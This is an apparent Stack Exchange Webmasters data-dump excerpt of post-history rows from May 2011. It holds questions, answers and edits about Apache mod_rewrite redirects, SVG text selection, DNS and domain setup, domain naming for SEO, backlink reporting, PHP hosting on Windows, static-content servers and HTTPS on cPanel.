  <row Id="32071" PostHistoryTypeId="1" PostId="13801" RevisionGUID="e0278a4c-f01c-44be-981d-9f546802212c" CreationDate="2011-05-14T20:20:56.603" UserId="7504" Text="Mod RewriteRule not working on all URL's" />
  <row Id="32072" PostHistoryTypeId="3" PostId="13801" RevisionGUID="e0278a4c-f01c-44be-981d-9f546802212c" CreationDate="2011-05-14T20:20:56.603" UserId="7504" Text="&lt;mod-rewrite&gt;" />
  <row Id="32073" PostHistoryTypeId="25" PostId="13799" RevisionGUID="48dc6c88-bd38-40d7-9152-13ed72b16684" CreationDate="2011-05-14T21:11:59.317" Comment="http://twitter.com/#!/StackWebmasters/status/69510289841856512" />
  <row Id="32074" PostHistoryTypeId="2" PostId="13802" RevisionGUID="f6d695c8-c08c-4cb4-b2db-0d172e577263" CreationDate="2011-05-14T21:57:57.443" UserId="3014" Text="More and more browsers support SVG. Is the text in SVG selectable / **copy**'able?" />
  <row Id="32075" PostHistoryTypeId="1" PostId="13802" RevisionGUID="f6d695c8-c08c-4cb4-b2db-0d172e577263" CreationDate="2011-05-14T21:57:57.443" UserId="3014" Text="Is text in SVG selectable/copyable in browsers?" />
  <row Id="32076" PostHistoryTypeId="3" PostId="13802" RevisionGUID="f6d695c8-c08c-4cb4-b2db-0d172e577263" CreationDate="2011-05-14T21:57:57.443" UserId="3014" Text="&lt;browser-support&gt;" />
  <row Id="32077" PostHistoryTypeId="2" PostId="13803" RevisionGUID="cabf7d1c-ef21-4a13-9c20-85bad7d793a7" CreationDate="2011-05-14T22:03:54.977" UserId="1253" Text="[Yes](http://www.google.com/m/url?client=ms-android-verizon&amp;ei=1fvOTYCmHdvSlQeViYXnAw&amp;gl=us&amp;hl=en&amp;q=http://www.pandimaniacs.com/whatissvg.php&amp;source=android-launcher-search&amp;ved=0CBYQFjAA&amp;usg=AFQjCNH8tJ0sLTNYXGrl-V4JwYeufgCw8Q)&#xD;&#xA;&#xD;&#xA;&gt; That's right, you can select and copy text right out of an SVG! The SVG does not store the text and letters as shapes, but by their &quot;meaning&quot;. Given a good SVG viewer or SVG-capable browser, you can select and copy text as you would in a normal document. Note that this will not work with all SVGs: Since the exact font (the &quot;looks&quot;) of a text is often important, and not everyonehas every font installed, some SVG artists convert the letters into shapes. This keeps their appearance, but loses the &quot;meaning&quot;, so a viewer no longer knows what letters the shapes represent." />
  <row Id="32078" PostHistoryTypeId="5" PostId="13803" RevisionGUID="543b1b38-7d05-460b-b247-47bd54421e8a" CreationDate="2011-05-14T22:11:48.080" UserId="1253" Comment="added 54 characters in body; added 148 characters in body" Text="[Yes](http://www.google.com/m/url?client=ms-android-verizon&amp;ei=1fvOTYCmHdvSlQeViYXnAw&amp;gl=us&amp;hl=en&amp;q=http://www.pandimaniacs.com/whatissvg.php&amp;source=android-launcher-search&amp;ved=0CBYQFjAA&amp;usg=AFQjCNH8tJ0sLTNYXGrl-V4JwYeufgCw8Q)&#xD;&#xA;&#xD;&#xA;&gt; That's right, you can select and copy text right out of an SVG! The SVG does not store the text and letters as shapes, but by their &quot;meaning&quot;. Given a good SVG viewer or SVG-capable browser, you can select and copy text as you would in a normal document. Note that this will not work with all SVGs: Since the exact font (the &quot;looks&quot;) of a text is often important, and not everyonehas every font installed, some SVG artists convert the letters into shapes. This keeps their appearance, but loses the &quot;meaning&quot;, so a viewer no longer knows what letters the shapes represent.&#xD;&#xA;&#xD;&#xA;[From the W3C](http://www.w3.org/TR/SVG/text.html)&#xD;&#xA;&#xD;&#xA;&gt; In many viewing scenarios, the user will be able to search for and select text strings and copy selected text strings to the system clipboard " />
  <row Id="32079" PostHistoryTypeId="6" PostId="10242" RevisionGUID="510bc126-554e-4ac0-b832-030fe9dd62dd" CreationDate="2011-05-14T22:14:46.457" UserId="1253" Comment="edited tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;openx&gt;&lt;alternative&gt;" />
  <row Id="32080" PostHistoryTypeId="2" PostId="13804" RevisionGUID="ca58d499-8a3e-4ff2-8ffd-f83aa681a4ea" CreationDate="2011-05-14T23:16:33.537" UserId="7507" Text="I have several domains which I'd like to point to another (I'll call it foo.com). A couple of things aren't entirely clear to me.&#xD;&#xA;&#xD;&#xA;First, the DNS. I'm using Kloxo/HyperVM. Do I need to create separate DNS entries for each domain? Or do I just create separate CNAME or other records under foo.com? I thought it was the latter but when I click on &quot;Add CNAME&quot; I'm prompted to fill in the subdomain portion of foo.com.&#xD;&#xA;&#xD;&#xA;The nameservers have already been set to point to my VPS.&#xD;&#xA;&#xD;&#xA;For the redirect, would the following be appropriate within the vhost conf for foo.com?&#xD;&#xA;&#xD;&#xA;    ServerName www.foo.com&#xD;&#xA;    ServerAlias foo.com foo.net foo.org bar.com bar.net bar.org&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo.com [NC]&#xD;&#xA;    RewriteCond %{HTTP_HOST} *foo.net [NC,OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} *foo.org [NC,OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} *bar.com [NC,OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} *bar.net [NC,OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} *bar.org [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.foo.com/$1 [R=301,NC]&#xD;&#xA;&#xD;&#xA;(The first condition is just to force the &quot;www&quot; part)" />
  <row Id="32081" PostHistoryTypeId="1" PostId="13804" RevisionGUID="ca58d499-8a3e-4ff2-8ffd-f83aa681a4ea" CreationDate="2011-05-14T23:16:33.537" UserId="7507" Text="DNS add-on domain setup and redirect" />
  <row Id="32082" PostHistoryTypeId="3" PostId="13804" RevisionGUID="ca58d499-8a3e-4ff2-8ffd-f83aa681a4ea" CreationDate="2011-05-14T23:16:33.537" UserId="7507" Text="&lt;redirects&gt;&lt;dns&gt;&lt;301-redirect&gt;" />
  <row Id="32083" PostHistoryTypeId="25" PostId="13802" RevisionGUID="465eebde-e8fc-4fed-80d8-c7650ec90d2a" CreationDate="2011-05-15T00:12:00.627" Comment="http://twitter.com/#!/StackWebmasters/status/69555593479852032" />
  <row Id="32084" PostHistoryTypeId="2" PostId="13805" RevisionGUID="a11fbe87-6494-4871-a739-78ca7a3e18c6" CreationDate="2011-05-15T00:23:16.287" UserId="7508" Text="If you have SSH access the best way would be to use *NIX [tar][1] command (compress), and then using [scp][2] to transfer it over new hosting and then again using [tar][1] to uncompress, and keep a copy on your local drive for backup purposes. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://old.alexus.org/php/phpMan.php?parameter=tar&amp;mode=man&#xD;&#xA;  [2]: http://old.alexus.org/php/phpMan.php?parameter=scp&amp;mode=man" />
  <row Id="32085" PostHistoryTypeId="2" PostId="13806" RevisionGUID="dee14b99-5a0b-4891-abdb-ed4bfc25c3cf" CreationDate="2011-05-15T00:25:28.253" UserId="7508" Text="I'd use DNS A record and point them to same IP and then using VirtualHost in Apache set them up to be catchall, this way you can have all domains going into one and then if you need to use mod_rewrite you can manipulate with that in whatever way you wish" />
  <row Id="32086" PostHistoryTypeId="2" PostId="13807" RevisionGUID="eb4aa616-2987-4136-97c2-572d711c53cd" CreationDate="2011-05-15T00:27:10.170" UserId="7508" Text="I'm looking to purchase a domain, and of couse the one that I really want is taken, what would be best way to find an alternative domain that would rate good for SEO?" />
  <row Id="32087" PostHistoryTypeId="1" PostId="13807" RevisionGUID="eb4aa616-2987-4136-97c2-572d711c53cd" CreationDate="2011-05-15T00:27:10.170" UserId="7508" Text="domain name suggestion tool (SEO friendly)" />
  <row Id="32088" PostHistoryTypeId="3" PostId="13807" RevisionGUID="eb4aa616-2987-4136-97c2-572d711c53cd" CreationDate="2011-05-15T00:27:10.170" UserId="7508" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="32089" PostHistoryTypeId="2" PostId="13808" RevisionGUID="fe900aba-962c-40f6-aa16-03a2e6ba076d" CreationDate="2011-05-15T00:32:27.507" UserId="1253" Text=" - add a secondary keyword&#xD;&#xA; - use a synonym&#xD;&#xA; - add an &quot;s&quot; or other suffix&#xD;&#xA; - use an alternate TLD (.net, .co, etc)&#xD;&#xA; - use a dash if the domain consists of two words" />
  <row Id="32090" PostHistoryTypeId="6" PostId="13807" RevisionGUID="2edb48f1-82a2-4e8a-8523-d91f3bcfcacd" CreationDate="2011-05-15T00:32:58.677" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;domains&gt;&lt;domain-names&gt;&lt;seo-friendly&gt;" />
  <row Id="32091" PostHistoryTypeId="5" PostId="13808" RevisionGUID="9a335593-1729-49f2-9d12-7f83d1d55dc3" CreationDate="2011-05-15T00:37:41.077" UserId="1253" Comment="added 53 characters in body" Text=" - add a secondary keyword&#xD;&#xA; - use a synonym&#xD;&#xA; - add an &quot;s&quot; or other applicate suffix&#xD;&#xA; - add a &quot;the&quot; or other applicable prefix&#xD;&#xA; - use an alternate TLD (.net, .co, etc)&#xD;&#xA; - use a dash if the domain consists of two words" />
  <row Id="32092" PostHistoryTypeId="17" PostId="13810" RevisionGUID="7d418e19-5eab-4928-aecc-2d0301aa1378" CreationDate="2011-05-15T01:24:14.313" UserId="-1" Comment="from http://stackoverflow.com/questions/6005517/how-do-i-see-what-pages-on-the-internet-link-to-my-site/6005521#6005521" Text="" />
  <row Id="32093" PostHistoryTypeId="17" PostId="13811" RevisionGUID="1ef4968f-dd8f-4c94-869e-aaadd46d5e5d" CreationDate="2011-05-15T01:24:14.313" UserId="-1" Comment="from http://stackoverflow.com/questions/6005517/how-do-i-see-what-pages-on-the-internet-link-to-my-site/6005524#6005524" Text="" />
  <row Id="32094" PostHistoryTypeId="2" PostId="13810" RevisionGUID="2f979e2a-42f6-4c31-842d-b03b8db1c6e2" CreationDate="2011-05-14T23:44:26.173" UserDisplayName="manojlds" Text="You can do this on google:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    link:yoursite.com&#xD;&#xA;&#xD;&#xA;But I don't think this question belongs in stackoverflow, so it will probably be moved." />
  <row Id="32095" PostHistoryTypeId="2" PostId="13811" RevisionGUID="3eda2963-4083-44ac-ba6a-246756a8bdc0" CreationDate="2011-05-14T23:45:21.927" UserDisplayName="DrStrangeLove" Text=" try:&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    link:yoursite.com&#xD;&#xA;&#xD;&#xA;in your google search.." />
  <row Id="32096" PostHistoryTypeId="2" PostId="13809" RevisionGUID="2bcfec3b-b062-4763-9012-361d3948e251" CreationDate="2011-05-14T23:43:17.047" UserDisplayName="Tom" Text="I thought I could see this through Google Webmaster Tools, and according to a help file, in Google Webmaster Tools, there should be an 'internal links' and an 'external links' menu item. But in my Webmaster Tools, there's an 'internal links' item, but no 'external links' menu item.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="32097" PostHistoryTypeId="1" PostId="13809" RevisionGUID="2bcfec3b-b062-4763-9012-361d3948e251" CreationDate="2011-05-14T23:43:17.047" UserDisplayName="Tom" Text="How do I see what pages on the internet link to my site?" />
  <row Id="32098" PostHistoryTypeId="3" PostId="13809" RevisionGUID="2bcfec3b-b062-4763-9012-361d3948e251" CreationDate="2011-05-14T23:43:17.047" UserDisplayName="Tom" Text="&lt;untagged&gt;" />
  <row Id="32099" PostHistoryTypeId="17" PostId="13809" RevisionGUID="3e708b75-1883-4ed5-a294-dd26e2da548c" CreationDate="2011-05-15T01:24:14.313" UserId="-1" Comment="from http://stackoverflow.com/questions/6005517/how-do-i-see-what-pages-on-the-internet-link-to-my-site" Text="" />
  <row Id="32100" PostHistoryTypeId="6" PostId="13809" RevisionGUID="13c819df-3548-4132-b3a7-bdfcc9ebc105" CreationDate="2011-05-15T01:48:12.537" UserId="1253" Comment="edited tags" Text="&lt;backlinks&gt;&lt;reporting&gt;" />
  <row Id="32101" PostHistoryTypeId="2" PostId="13812" RevisionGUID="d05fbf2a-65de-4bbe-adeb-b72bc8c4179a" CreationDate="2011-05-15T02:11:06.413" UserId="1064" Text="&gt; The `RewriteEngine` directive enables or&#xD;&#xA;&gt; disables the runtime rewriting engine.&#xD;&#xA;&gt; If it is set to off this module does&#xD;&#xA;&gt; no runtime processing at all.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; Default: `RewriteEngine off`&#xD;&#xA;&#xD;&#xA;[Apache mod_rewrite documentation][1]&#xD;&#xA;&#xD;&#xA;If you have directives which appear before a `RewriteEngine on` directive, they will be ignored.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteEngine" />
  <row Id="32102" PostHistoryTypeId="25" PostId="13807" RevisionGUID="650e38ed-2cfe-4562-8111-a353ac80d439" CreationDate="2011-05-15T03:12:00.763" Comment="http://twitter.com/#!/StackWebmasters/status/69600893154242560" />
  <row Id="32103" PostHistoryTypeId="2" PostId="13813" RevisionGUID="4d37fada-3d57-46ba-969a-564638c7e4af" CreationDate="2011-05-13T19:13:14.107" UserDisplayName="David" Text="I do not know programming, I search for a magento on extension (even fee) to add a custom form in a page (eg a quotation).&#xD;&#xA;And if possible (optional) in the administration can see the fields that were sent.&#xD;&#xA;&#xD;&#xA;Thank you !&#xD;&#xA;David" />
  <row Id="32104" PostHistoryTypeId="1" PostId="13813" RevisionGUID="4d37fada-3d57-46ba-969a-564638c7e4af" CreationDate="2011-05-13T19:13:14.107" UserDisplayName="David" Text="Custom Form extention on magento" />
  <row Id="32105" PostHistoryTypeId="3" PostId="13813" RevisionGUID="4d37fada-3d57-46ba-969a-564638c7e4af" CreationDate="2011-05-13T19:13:14.107" UserDisplayName="David" Text="&lt;forms&gt;&lt;magento&gt;" />
  <row Id="32106" PostHistoryTypeId="17" PostId="13813" RevisionGUID="3d681946-d3f4-4e15-9e87-bee8d3304b6f" CreationDate="2011-05-15T03:12:12.223" UserId="-1" Comment="from http://stackoverflow.com/questions/5996656/custom-form-extention-on-magento" Text="" />
  <row Id="32107" PostHistoryTypeId="2" PostId="13814" RevisionGUID="d6e11683-32f3-4536-8a43-97c422ae3c9e" CreationDate="2011-05-15T03:43:44.137" UserId="1253" Text="Using both is fine. That way if you encounter a client that is using http 1.0 they'll be sure to honor your cache control request. Http 1.1 clients will simply ignore the redundant header so it won't cause any problems. I use both on lots of sites with no ill effects." />
  <row Id="32108" PostHistoryTypeId="6" PostId="10623" RevisionGUID="cd6fa5d0-31c1-4055-ad36-d15796d9f30a" CreationDate="2011-05-15T03:45:17.210" UserId="1253" Comment="edited tags" Text="&lt;http-headers&gt;" />
  <row Id="32113" PostHistoryTypeId="2" PostId="13816" RevisionGUID="1e0853b3-8c4e-4ee7-9831-ada188c6b8d6" CreationDate="2011-05-15T04:42:25.870" UserDisplayName="Tyler" Text="I have a bit of problem that I have been trying to solve now for a while. I am unsure the best way to go about this for SEO purposes.&#xD;&#xA;&#xD;&#xA;Basically lets say I have my main domain name called mySite.com that has a few topics of content.&#xD;&#xA;&#xD;&#xA;I have also purchased a second domain that has some keyword specific terms in the domain lets call it mySiteKeyword.com. &#xD;&#xA;&#xD;&#xA;Now my initial thinking was that I would 301 redirect the mySiteKeyword.com to mySite.com/keyword which would be a page containing more related content.&#xD;&#xA;&#xD;&#xA;I would like to keep all of my content on my main domain, but still have my 2nd domain adding value to a particular page.&#xD;&#xA;&#xD;&#xA;What would the best way of achieving this be?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Tyler&#xD;&#xA;" />
  <row Id="32114" PostHistoryTypeId="1" PostId="13816" RevisionGUID="1e0853b3-8c4e-4ee7-9831-ada188c6b8d6" CreationDate="2011-05-15T04:42:25.870" UserDisplayName="Tyler" Text="Google SEO multiple domains pointing to same domain" />
  <row Id="32115" PostHistoryTypeId="3" PostId="13816" RevisionGUID="1e0853b3-8c4e-4ee7-9831-ada188c6b8d6" CreationDate="2011-05-15T04:42:25.870" UserDisplayName="Tyler" Text="&lt;google&gt;&lt;seo&gt;&lt;domains&gt;" />
  <row Id="32116" PostHistoryTypeId="17" PostId="13816" RevisionGUID="bccc58ad-8ae3-404c-84e5-91c6434d4593" CreationDate="2011-05-15T04:54:40.927" UserId="-1" Comment="from http://stackoverflow.com/questions/6006533/google-seo-multiple-domains-pointing-to-same-domain" Text="" />
  <row Id="32117" PostHistoryTypeId="5" PostId="13816" RevisionGUID="468247bb-a15f-4303-b46e-e3fe01340373" CreationDate="2011-05-15T05:43:18.377" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Could I buy a domain name to increase traffic to my site like this?](http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hey guys,&#xD;&#xA;&#xD;&#xA;I have a bit of problem that I have been trying to solve now for a while. I am unsure the best way to go about this for SEO purposes.&#xD;&#xA;&#xD;&#xA;Basically lets say I have my main domain name called mySite.com that has a few topics of content.&#xD;&#xA;&#xD;&#xA;I have also purchased a second domain that has some keyword specific terms in the domain lets call it mySiteKeyword.com. &#xD;&#xA;&#xD;&#xA;Now my initial thinking was that I would 301 redirect the mySiteKeyword.com to mySite.com/keyword which would be a page containing more related content.&#xD;&#xA;&#xD;&#xA;I would like to keep all of my content on my main domain, but still have my 2nd domain adding value to a particular page.&#xD;&#xA;&#xD;&#xA;What would the best way of achieving this be?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Tyler&#xD;&#xA;" />
  <row Id="32118" PostHistoryTypeId="10" PostId="13816" RevisionGUID="0f183491-1941-46e2-a8f2-a4bad93e0273" CreationDate="2011-05-15T05:43:17.957" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32120" PostHistoryTypeId="25" PostId="13809" RevisionGUID="3678999f-6b79-48a5-b8df-d5ba90f710c6" CreationDate="2011-05-15T06:12:00.943" Comment="http://twitter.com/#!/StackWebmasters/status/69646192300138496" />
  <row Id="32121" PostHistoryTypeId="2" PostId="13817" RevisionGUID="ea1838ab-a592-4e57-a52e-0ebc8bc10a22" CreationDate="2011-05-15T06:34:07.307" UserId="1064" Text="Navigate to **Your site on the web** &gt; **Links to your site** to find the external linking data in Google Webmaster Tools." />
  <row Id="32122" PostHistoryTypeId="17" PostId="13819" RevisionGUID="590d4cb2-be6b-41ad-b556-9295bcceffcf" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting/5986959#5986959" Text="" />
  <row Id="32123" PostHistoryTypeId="17" PostId="13820" RevisionGUID="d0d9891b-ff79-4348-91db-c546a2eb49d9" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting/5986961#5986961" Text="" />
  <row Id="32124" PostHistoryTypeId="17" PostId="13821" RevisionGUID="6fbf6602-6d01-4a86-b9cd-cbf2111d2cbc" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting/5986971#5986971" Text="" />
  <row Id="32125" PostHistoryTypeId="17" PostId="13822" RevisionGUID="501b9bc8-5ac6-4a31-9f2c-92d24739f88c" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting/5987221#5987221" Text="" />
  <row Id="32126" PostHistoryTypeId="17" PostId="13823" RevisionGUID="ae220018-0fc4-42ec-a9e5-858a1e53bf98" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting/5988504#5988504" Text="" />
  <row Id="32127" PostHistoryTypeId="2" PostId="13819" RevisionGUID="fae59691-17c8-46e1-acca-27915f60b0d5" CreationDate="2011-05-13T03:25:30.253" UserDisplayName="Marty Wallace" Text="Yes.&#xD;&#xA;&#xD;&#xA;http://httpd.apache.org/docs/2.0/platform/windows.html" />
  <row Id="32128" PostHistoryTypeId="2" PostId="13820" RevisionGUID="6b4226a7-6f4b-4529-90c8-c83272777d7a" CreationDate="2011-05-13T03:25:43.153" UserDisplayName="Andre" Text="Yes, see here: http://windows.php.net/&#xD;&#xA;&#xD;&#xA;There are many hosting companies that provide this service, search google for &quot;[windows php hosting][1]&quot;, and you'll find a bunch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=windows%20php%20hosting" />
  <row Id="32129" PostHistoryTypeId="2" PostId="13821" RevisionGUID="4f24a685-cb85-42f7-a27c-ebe1c4df7b61" CreationDate="2011-05-13T03:27:19.820" UserDisplayName="julio" Text="Sure, you can host a PHP site on a windows server. It's not quite as easy to configure asa LAMP stack (Linux, Apache, MySQL, PHP) but you can still run the PHP site under IIS or Apache on a Windows machine. &#xD;&#xA;&#xD;&#xA;As for special tools-- just the normal FTP client will do just fine, unless you're looking to use a content management system like Joomla or Drupal, in which case they have built in tools for publishing." />
  <row Id="32130" PostHistoryTypeId="2" PostId="13822" RevisionGUID="0ba4950c-d2d4-48ce-b5bd-5a40a0c24ab3" CreationDate="2011-05-13T04:27:49.510" UserDisplayName="cainmi" Text="[WAMP][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wampserver.com/en/" />
  <row Id="32131" PostHistoryTypeId="2" PostId="13823" RevisionGUID="37462fc6-c657-490d-bf25-088ad600573c" CreationDate="2011-05-13T07:13:41.573" UserDisplayName="Jilesh P." Text="PHP is by default enabled on most of shared hosting services of windows. If PHP on your host is not running, you just need to ask your hosting company to enable PHP on your account or to assist you in the right direction. &#xD;&#xA;&#xD;&#xA;PHP with FAST CGI option runs as fast as it runs on LINUX OS. Microsoft has made lots of improvement in IIS7 for PHP to cover OPEN SOURCE SCRIPT (WordPress, Drupal, Joomla, etc...) hosting market.&#xD;&#xA;&#xD;&#xA;I am hosting my PHP applications on IIS7 with [AccuWebHosting.Com][1]. I just need to upload my php files into the public_html directory to run my php applications. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.accuwebhosting.com/" />
  <row Id="32132" PostHistoryTypeId="2" PostId="13818" RevisionGUID="96f0f057-7a89-4091-8555-398dd7bfb679" CreationDate="2011-05-13T03:22:59.713" UserDisplayName="meetpd" Text="This might be the stupidest question but I would like to know whether we can host PHP site on Windows hosting?&#xD;&#xA;&#xD;&#xA;Are there any special tools for publishing php site?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32133" PostHistoryTypeId="1" PostId="13818" RevisionGUID="96f0f057-7a89-4091-8555-398dd7bfb679" CreationDate="2011-05-13T03:22:59.713" UserDisplayName="meetpd" Text="Can PHP Site be hosted on Windows Hosting?" />
  <row Id="32134" PostHistoryTypeId="3" PostId="13818" RevisionGUID="96f0f057-7a89-4091-8555-398dd7bfb679" CreationDate="2011-05-13T03:22:59.713" UserDisplayName="meetpd" Text="&lt;php&gt;&lt;websites&gt;&lt;web-hosting&gt;" />
  <row Id="32135" PostHistoryTypeId="17" PostId="13818" RevisionGUID="d8ff8920-77d3-403b-a274-7eaec9e206de" CreationDate="2011-05-15T06:54:36.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5986946/can-php-site-be-hosted-on-windows-hosting" Text="" />
  <row Id="32136" PostHistoryTypeId="2" PostId="13824" RevisionGUID="beb59b3f-08ce-4fce-ac33-c221480aa26b" CreationDate="2011-05-13T21:48:12.510" UserDisplayName="David" Text="I have a asp.net website (e.g. www.website.com). The idea is that you will go to the url 'yourname.website.com' and my site will request the name from the sub domain, process it and change the content accordingly.&#xD;&#xA;&#xD;&#xA;So, I purchased my fasthosts hosting package and created a sub domain which points to a folder within my site. e.g. 'www.website.com/folder'. However, when i now go to the url 'yourname.website.com' it is immediately redirected to 'website.com/folder'. this means I cannot request the subdomain from the url because it has been lost. &#xD;&#xA;&#xD;&#xA;I have tried contacting these guys but they don't understand and keep going on about some sort of redirect script (although i don't see how any further redirects can solve my problem).&#xD;&#xA;&#xD;&#xA;Is there something I am missing here? Any suggests or help would be much appreciated!" />
  <row Id="32137" PostHistoryTypeId="1" PostId="13824" RevisionGUID="beb59b3f-08ce-4fce-ac33-c221480aa26b" CreationDate="2011-05-13T21:48:12.510" UserDisplayName="David" Text="several subdomains pointing to one folder. fasthosts problem" />
  <row Id="32138" PostHistoryTypeId="3" PostId="13824" RevisionGUID="beb59b3f-08ce-4fce-ac33-c221480aa26b" CreationDate="2011-05-13T21:48:12.510" UserDisplayName="David" Text="&lt;asp.net&gt;&lt;redirects&gt;&lt;subdomain&gt;" />
  <row Id="32139" PostHistoryTypeId="17" PostId="13824" RevisionGUID="0ef804b9-c3b1-4bb7-b4b3-133c29cda8c6" CreationDate="2011-05-15T07:04:15.407" UserId="-1" Comment="from http://stackoverflow.com/questions/5998133/several-subdomains-pointing-to-one-folder-fasthosts-problem" Text="" />
  <row Id="32140" PostHistoryTypeId="2" PostId="13825" RevisionGUID="d3ae880e-4e87-4a54-8e20-673c32656894" CreationDate="2011-05-15T07:10:46.493" UserId="7512" Text="You can show not only number but also a trend with embeddable chart with Google Analytics data. Here is step-by-step guide how to do get one: http://blog.explainum.com/2011/04/how-to-add-google-analytics-chart-to.html" />
  <row Id="32141" PostHistoryTypeId="17" PostId="13827" RevisionGUID="e9278843-bf63-42e0-bb5a-aa96c30b517a" CreationDate="2011-05-15T07:18:31.153" UserId="-1" Comment="from http://stackoverflow.com/questions/6006158/separating-static-uploaded-content-from-the-site/6006270#6006270" Text="" />
  <row Id="32142" PostHistoryTypeId="2" PostId="13827" RevisionGUID="7dfad414-c1bb-4ec9-8bd3-d87907f4e2a0" CreationDate="2011-05-15T03:18:50.897" UserDisplayName="austinbv" Text="The difference in speed is dependent on a lot of variables. Think about it this way, every time a user requests a page/image the processor of the server must handle that request throw the requested item into ram and then serve it.&#xD;&#xA;&#xD;&#xA;By separating static content you remove large images videos and other stuff from the queue of page requests to your processor so it can hand out pages as fast as possible without stressing about the images/videos/large stuff.&#xD;&#xA;&#xD;&#xA;What it depends on is your processor speed, ram, bandwidth. &#xD;&#xA;&#xD;&#xA;How you do it is you assign your static server to a subdomain this allows for non-cross domain scripting.  If it's just images you can link with just the web addr, or you can read more about cross server scripting, apache is designed to do it so it is pretty darn easy.&#xD;&#xA;&#xD;&#xA;There is a SO question that is pretty similar here http://stackoverflow.com/q/913208/500959" />
  <row Id="32143" PostHistoryTypeId="2" PostId="13826" RevisionGUID="4d8c669b-85d8-4431-9cf9-d9d68c57a840" CreationDate="2011-05-15T02:38:22.273" UserDisplayName="user720943" Text="I have a site where I anticipate to have a large amount of users. I've heard that it is a good idea to separate user content (uploaded images) and place them on a separate static server where lighttpd would serve the content. This is supposed to speed up the requests significantly.&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;* Roughly how much imporovement can I expect form doing this?&#xD;&#xA;* How is it done? Users on my site upload files but then how do I automate the transfer process? What's the best practice? Rsync?&#xD;&#xA;* Any other tips? ideas? I'd really appreciate your input." />
  <row Id="32144" PostHistoryTypeId="1" PostId="13826" RevisionGUID="4d8c669b-85d8-4431-9cf9-d9d68c57a840" CreationDate="2011-05-15T02:38:22.273" UserDisplayName="user720943" Text="Separating static/uploaded content from the site." />
  <row Id="32145" PostHistoryTypeId="3" PostId="13826" RevisionGUID="4d8c669b-85d8-4431-9cf9-d9d68c57a840" CreationDate="2011-05-15T02:38:22.273" UserDisplayName="user720943" Text="&lt;php&gt;&lt;apache&gt;" />
  <row Id="32146" PostHistoryTypeId="17" PostId="13826" RevisionGUID="7405106d-efcb-49f9-814b-458b77886216" CreationDate="2011-05-15T07:18:31.153" UserId="-1" Comment="from http://stackoverflow.com/questions/6006158/separating-static-uploaded-content-from-the-site" Text="" />
  <row Id="32147" PostHistoryTypeId="25" PostId="13826" RevisionGUID="d63822a3-6e51-4a8a-9746-7452027296ec" CreationDate="2011-05-15T09:12:01.093" Comment="http://twitter.com/#!/StackWebmasters/status/69691491320201216" />
  <row Id="32148" PostHistoryTypeId="2" PostId="13828" RevisionGUID="527040dd-4a0c-487e-aab3-fb2bd0555234" CreationDate="2011-05-14T00:02:39.890" UserId="9497" UserDisplayName="Aseman" Text="I want to set up http&lt;b&gt;s&lt;/b&gt; on CPanel!&#xD;&#xA; but I don't know how?&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;Is there anyone here that can help me?&#xD;&#xA;My cpanel version is cPanel Pro 1.0 (RC1)." />
  <row Id="32149" PostHistoryTypeId="1" PostId="13828" RevisionGUID="527040dd-4a0c-487e-aab3-fb2bd0555234" CreationDate="2011-05-14T00:02:39.890" UserId="9497" UserDisplayName="Aseman" Text="How to set up Https on cPanel" />
  <row Id="32150" PostHistoryTypeId="3" PostId="13828" RevisionGUID="527040dd-4a0c-487e-aab3-fb2bd0555234" CreationDate="2011-05-14T00:02:39.890" UserId="9497" UserDisplayName="Aseman" Text="&lt;ssl&gt;&lt;cpanel&gt;" />
  <row Id="32151" PostHistoryTypeId="17" PostId="13828" RevisionGUID="0432a6df-b06b-41ff-93c2-af413bd4d20d" CreationDate="2011-05-15T09:24:02.973" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15352/how-to-set-up-https-on-cpanel" Text="" />
